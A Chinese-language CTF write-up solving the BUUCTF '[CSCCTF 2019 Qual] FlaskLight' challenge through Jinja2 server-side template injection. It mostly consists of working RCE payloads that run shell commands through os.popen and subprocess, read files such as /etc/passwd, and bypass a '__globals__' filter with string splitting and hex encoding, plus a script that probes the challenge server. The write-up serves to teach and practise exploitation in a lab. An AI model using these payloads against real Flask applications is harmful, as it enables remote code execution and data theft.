BUU40 [CSCCTF 2019 Qual]FlaskLight1【SSTI】

模板:

|----------------------------------------------------------------------------------------------------------------------------------------------------------|
| python {{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('type flag.txt').read()")}} |

''是个空字符串,''.__class__代表这个空字符串的类是什么(这里是单引号双引号都行)

.__base__表示追踪它的父类,.subclass()表示列出它的子类,而[80]表示它的第八十个子类,.init__在创建类的新实例时自动调用,用于初始化对象的属性,每个类方法(包括__init)都是一个对象,__globals__就是__init__下的方法(子类)

__globals__是个字典,包含着所有全局变量,其中__builtins__也在里面,而__builtins__是管很多常用的内置函数,比如说eval()呀啥的

__import__和import等价,不同的是__import__可以在后头加个 . 直接调用函数

也可以用['xxxx']代替 .

python 复制代码
{{''['__class__']['__base__']['__base__']['__subclasses__']()[78]['__init__']['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}

Payload2 没用eval直接open

python 复制代码
{{''.__class__.__base__.__base__.__subclasses__()[78].__init__['__glo'+'bals__']['__builtins__'].open("/flasklight/coomme_geeeett_youur_flek").read()}}

payload3

python 复制代码
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__['__glo'+'bals__'].values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("cat /flasklight/coomme_geeeett_youur_flek").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

payload4

python 复制代码
{{config.__class__.__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}

题目:

在源代码中发现用get提交search

存在SSTI

直接套上模板发现不对,我们先一步一步来

"".class.__base__按道理来说应该是object但是这里却是basestring,再给他套上一层__base__试试

ok成功出现object

套了两层__base__其实可以等价于**?search={{''.class.mro[2].subclasses()}}中的__mro__**

再加上subclasses试试:

好的说明这样是对的,不知道哪个类的__init__含有globals

用py搜索

python 复制代码
import requests as res
import time
for i in range(0,400):
    url="http://822ebf30-6568-45d3-a757-7fa1848f0368.node5.buuoj.cn:81/?search={{''.__class__.__base__.__base__.__subclasses__()[%d].__init__['__glob'+'als__']}}"
    response=res.get(url%i)
    #访问速度过快会返回429,此时就需要暂缓再访问
    if response.status_code!=200:
        time.sleep(0.3)
        response=res.get(url%i)
    print(len(response.text),i,response.status_code)

没有一个成功的,没道理啊

这么搜就对

但是加上__globals__就出错了

所以很有可能是过滤掉了globals,一搜还真是

绕过方法:

第一种:拼接

将__globals__替换成['globals'],然后再把globals拆开,用 + 连接(py性质)

这里__globals__和['globals']有什么区别呢?

'__globals__'\]是尝试以字典键的形式访问`__init__`对象的`__globals__`属性 ![](https://i-blog.csdnimg.cn/direct/0a64f83c87194c458e0431df76c3d0d6.png) 人话就是,如果你访问__globals__,就是访问函数对象的一个内在属性,如果访问\['__globals__'\]呢,就会触发对象的另一个叫 `__getitem__` 方法 ![](https://i-blog.csdnimg.cn/direct/0af34dc1bc0f453ab20edee5bb75f7c2.png) ![](https://i-blog.csdnimg.cn/direct/2d1186f51a3f468ca528ba3377a6cc8f.png) ![](https://i-blog.csdnimg.cn/direct/34e4a31083ab4d658505526e0e583a15.png) 测试一下search=glo'+'bal。。。怎么被腰斩了,哦原来+在url中被翻译成空格啊 ![](https://i-blog.csdnimg.cn/direct/b18b8c89db7d4f858344f8dbe03dd14b.png) 但是在\['__glob'+'al__'\]里面就能正常拼接,原因是在这里面需要经过python编译,python编译时候自动拼接,但是在url中直接提交会被翻译成连接符号 ![](https://i-blog.csdnimg.cn/direct/c4abbd91a3b44a0987ffc06da89e4296.png) ![](https://i-blog.csdnimg.cn/direct/bea6fb48819d4c569bcf21c2e58d1cad.png) 试着RCE,成功 ```python /?search={{"".__class__.__base__.__base__.__subclasses__()[78].__init__['__glob'+'als__']['__builtins__'].eval("__import__('os').popen('whoami').read()")}} ``` ![](https://i-blog.csdnimg.cn/direct/efcfe61fea2249fe95621225fe212d4c.png) ```python /?search={{"".__class__.__base__.__base__.__subclasses__()[78].__init__['__glob'+'als__']['__builtins__'].eval("__import__('os').popen('ls /').read()")}} ``` ![](https://i-blog.csdnimg.cn/direct/1a257ba37d6c4b248eac0b932cc99a4c.png) ```python /?search={{"".__class__.__base__.__base__.__subclasses__()[78].__init__['__glob'+'als__']['__builtins__'].eval("__import__('os').popen('cat flasklight').read()")}} ``` cat不行,里面啥也没有,所以flasklight是个文件夹(这个玩意没有后缀,早该知道是个文件夹的)![](https://i-blog.csdnimg.cn/direct/20386fc02b5b417c85c4ac931fe58a51.png) ```python /?search={{"".__class__.__base__.__base__.__subclasses__()[78].__init__['__glob'+'als__']['__builtins__'].eval("__import__('os').popen('ls flasklight').read()")}} ``` ![](https://i-blog.csdnimg.cn/direct/7bf4e53810584d9aac52a6ba83d1d681.png) ```python /?search={{"".__class__.__base__.__base__.__subclasses__()[78].__init__['__glob'+'als__']['__builtins__'].eval("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}} ``` ![](https://i-blog.csdnimg.cn/direct/02e17645f97d422f9cc884bcb8c549f6.png) ### 第二种:十六进制,unicode编码 > WAF/过滤器无法直接识别编码后的字符串,但模板引擎仍能解析为原始属性名。 十六进制编码: ```python # 原始字符串 target = "__globals__" # 转换为 \xHH 格式的十六进制编码 hex_encoded = ''.join([f"\\x{ord(c):02x}" for c in target]) # 结果:\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f ``` 这个绕过的比拆分更多 ![](https://i-blog.csdnimg.cn/direct/c39f9a8d127b492c863022691fc2aaa1.png) ai比我会呜呜呜 ![](https://i-blog.csdnimg.cn/direct/bfe3e16c807a47ce9ef2f591324a1786.png) 全部用十六进制: ```python /?search={{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]%20["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[X].__init__["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]}} ``` 实际上就是search={{"".__class__.__base__.__base__.subclasses()\[78\].__init__.__globals__}} 用十六进制编码以后再用 \[ \] 括起来 这里__init__不能被十六进制编码 ![](https://i-blog.csdnimg.cn/direct/77ea0877208f4daa99dfbaab9da486e6.png) 十六进制编码和正常payload混在一块写就行 ```python /?search={{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"] ["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[78].__init__["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"].eval("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}} ``` ![](https://i-blog.csdnimg.cn/direct/bfe06e7df193463bbe1def1e94766fb5.png) 其他一些payload或者可用的危险函数: **_frozen_importlib_external.FileLoader**类:该类下有get_data函数可以实现读取文件 ```python ''.__class__.__base__.__subclasses__()[xx]["get_data"](0,"/etc/passwd") ``` **importlib** 类:importlib类中的load_module可以引用os ```python {{''.__class__.__base__.__subclasses__()[xx]['load_moudule']("os")["popen"]("ls").read()}} ``` **subprocess.Popen** 类 ```python {{''.__class__.__base__.__subclasses__()[xx]('ls',shell=True,stdout=-1).communicate()[0].strip()}} ``` ## SSTI的一些总结 1. __builtins__里面用open('xxx.txt').read()语句可以打开阅读文件 2. 这个还有另一种写法就是''\['__class__'\]\['__init__'\]\['__globals__'\]\['__builtins__'\]\['eval'\](__import__('os').popen('cat xxx').read()) 3. \['os'\]模块里面有listdir('/'),可以列出根目录 4. ```python {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__['__glo'+'bals__'].values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("cat /flasklight/coomme_geeeett_youur_flek").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %} ``` 这里面b.keys():字典对象的 `keys()` 方法会返回一个包含该字典所有键的视图对象,`in` 运算符用于字典时默认就是检查键,所以 `'eval' in b` 和 `'eval' in b.keys()` 是等价的。因此,模板代码可以简化为 `{% if 'eval' in b %}`。 参考 [SSTI(模板注入)--Flask(萌新向) \| \[BUUCTF题解\]\[CSCCTF 2019 Qual\]FlaskLight \& \[GYCTF2020\]FlaskApp(SSTI) - Article_kelp - 博客园](https://www.cnblogs.com/Article-kelp/p/14797393.html "SSTI(模板注入)--Flask(萌新向) | [BUUCTF题解][CSCCTF 2019 Qual]FlaskLight & [GYCTF2020]FlaskApp(SSTI) - Article_kelp - 博客园") [\[CSCCTF 2019 Qual\] FlaskLight_\[cscctf 2019 qual\]flasklight-CSDN博客](https://blog.csdn.net/Myon5/article/details/131543832 "[CSCCTF 2019 Qual] FlaskLight_[cscctf 2019 qual]flasklight-CSDN博客")

相关推荐
٩( 'ω' )و2602 分钟前
qt信号与槽--01
开发语言·qt
灏瀚星空16 分钟前
高频交易技术:订单簿分析与低延迟架构——从Level 2数据挖掘到FPGA硬件加速的全链路解决方案
人工智能·python·算法·信息可视化·fpga开发·架构·数据挖掘
Hello.Reader25 分钟前
在多云环境透析连接ngx_stream_proxy_protocol_vendor_module
后端·python·flask
zh_1999530 分钟前
Spark面试精讲(上)
java·大数据·数据仓库·python·spark·数据库开发·数据库架构
小猫咪怎么会有坏心思呢32 分钟前
华为OD机考-找座位-逻辑分析(JAVA 2025B卷)
java·开发语言·华为od
泪光292935 分钟前
洛谷自己创建的一个小比赛【c++】
开发语言·c++
比特森林探险记1 小时前
GO 入门小项目-博客-结合Gin Gorm
开发语言·golang·gin
傻傻虎虎1 小时前
【QT】自动更新库QSimpleUpdater使用实例封装
开发语言·qt
加油冲丫1 小时前
Java过滤器的基本概念
java·开发语言·后端·servlet
RR13351 小时前
一个小错误:Content-Type ‘text/plain;charset=UTF-8‘ is not supported 的粗心
开发语言·前端·javascript